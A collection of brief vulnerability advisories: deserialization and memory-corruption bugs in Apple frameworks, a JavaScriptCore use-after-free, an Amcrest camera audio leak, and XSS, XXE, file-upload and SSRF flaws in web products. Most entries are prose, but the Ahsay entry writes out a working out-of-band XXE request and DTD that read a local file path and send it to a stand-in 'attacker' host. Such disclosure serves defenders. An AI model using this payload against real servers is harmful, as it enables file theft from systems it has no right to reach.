The class _NSDataFileBackedFuture can be deserialized even if secure encoding is enabled. This class is a file-backed NSData object that loads a local file into memory when the [NSData bytes] selector is called. This presents two problems. First, it could potentially allow undesired access to local files if the code deserializing the buffer ever shares it (this is more likely to cause problems in components that use serialized objects to communicate locally than in iMessage). Second, it allows an NSData object to be created with a length that is different than the length of its byte array. This violates a very basic property that should always be true of NSData objects. This can allow out of bounds reads, and could also potentially lead to out-of-bounds writes, as it is now possible to create NSData objects with very large sizes that would not be possible if the buffer was backed.
There is a memory corruption vulnerability when decoding an object of class NSKnownKeysDictionary1. This class decodes an object of type NSKnownKeysMappingStrategy1, which decodes a length member which is supposed to represent the length of the keys of the dictionary. However, this member is decoded before the keys are decoded, so if a key is an instance of NSKnownKeysDictionary1 which also uses this instance of NSKnownKeysMappingStrategy1, the mapping strategy will be used before the length is checked. The NSKnownKeysDictionary1 instance uses this length to allocate a buffer, and the length is multiplied by 8 during this allocation without an integer overflow check. The code will then attempt to copy the values array (another decoded parameter) into the buffer using the unmultiplied length. It is not possible to control the copied values in this bug, because getObjects:range would then be called with a very large range and throw an exception. However, if the decoded values array is null, getObjects:range will do nothing, and then the code will go through a loop where it copies and retains entries from the values array into the buffer allocated based on the length member, going well past the end of both allocations.
When deserializing a class with initWithCoder, subclasses of that class can also be deserialized so long as they do not override initWithCoder and implement all methods that require a concrete implementation. _PFArray is such a subclass of NSArray. When a _PFArray is deserialized, it is deserialized with [NSArray initWithCoder:], which eventually calls [_PFArray initWithObjects:count:]. This method initializes the array with the objects provided by the NSKeyedUnarchiver, but does not retain references to these objects, so when the NSKeyedUnarchiver is released, the objects in the array will also be released, even though the user of the deserialized objects could still be using them. This issue can be reached remotely via iMessage and crash Springboard with no user interaction.
While fuzzing JSC, an exploit was encountered which crashes JSC from current HEAD and release (/System/Library/Frameworks/JavaScriptCore.framework/Resources/jsc). The exploit is due to a JSValue pointing to a previously freed chunk which will have its JSCel::structureID set to 0. If the loop that calls v62 is run 100 instead of 6 times it will also crash without --thresholdForJITAfterWarmUp=10, albeit a bit less reliable.
When deserializing NSObjects with the NSArchiver API, one can supply a whitelist of classes that are allowed to be unarchived. In that case, any object in the archive whose class is not whitelisted will not be deserialized. However, a child class of a class in the whitelist will also be deserialized by NSKeyedUnarchiver if one of the following is true: It implements initWithCoder: and supportsSecureCoding, and calling the supportsSecureCoding method returns true; It doesn't implement initWithCoder and the first superclass that implements initWithCoder: also implements supportsSecureCoding which returns true. This can lead to the deserialization of untrusted archives.
An unauthenticated attacker can access audio streaming from Amcrest Camera by sending a specially crafted HTTP request to the camera. This vulnerability affects Amcrest IP2M-841 but is known to affect other Dahua devices. The response is a series of 4 byte chunks. The first two bytes are the length of the audio data, the second two bytes are the audio data itself.
The «GigToDo - Freelance Marketplace Script» web-application is vulnerable to reflected and persistent XSS injections that allows an attacker to inject JavaScript/HTML code into the front-end, redirect visitor to another website or steal admin cookies. An attacker can inject payloads into the 'Proposal's Description' text area and save the data twice to exploit the vulnerability. Example payloads are provided in the text.
Ahsay is vulnerable to a OOB Unauthenticated XML External Entity. Sending the following POST request will trigger the XXE: POST /obs/obm8/user/setUserProfile HTTP/1.1 Content-Type: application/octet-stream Content-Length: 126 Host: 172.16.238.213:80 <?xml version="1.0"?> <!DOCTYPE root [<!ENTITY % remote SYSTEM "http://attacker/oob"> %remote;%intern; %trick;]> On http://attacker/oob add the following content: <!ENTITY % payl SYSTEM "file:///c:/"><!ENTITY % intern "<!ENTITY % trick SYSTEM 'file://:%payl;/%payl;'>"> Here it is possible to change file:///c:/ to any directory/file or internal host.
Ahsay Backup 8.1.1.50 is vulnerable to an authenticated file upload and code execution vulnerability. Session cookies are reflected in the JavaScript url. An attacker can use this vulnerability to upload malicious files and execute arbitrary code on the server.
An authenticated attacker can scan the internal network and exploit internal web services with blind injections. In version 3.5.2, only pictures (PNG, GIF, SVN and so on) were displayed as a JSON-list. But it is possible to do internal port scans via http:// and https:// protocols. Open ports with no response for HTTP requests resulted in a timeout, SSL services like OpenSSH gave an SSL Error. For web applications the HTTP headers can be found in the response (403 forbidden, 404 not Found and so on). Found web applications can be attacked via HTTP GET requests. The vulnerable script is "repository_ajax.php" and the parameter is "file".
Services By CQR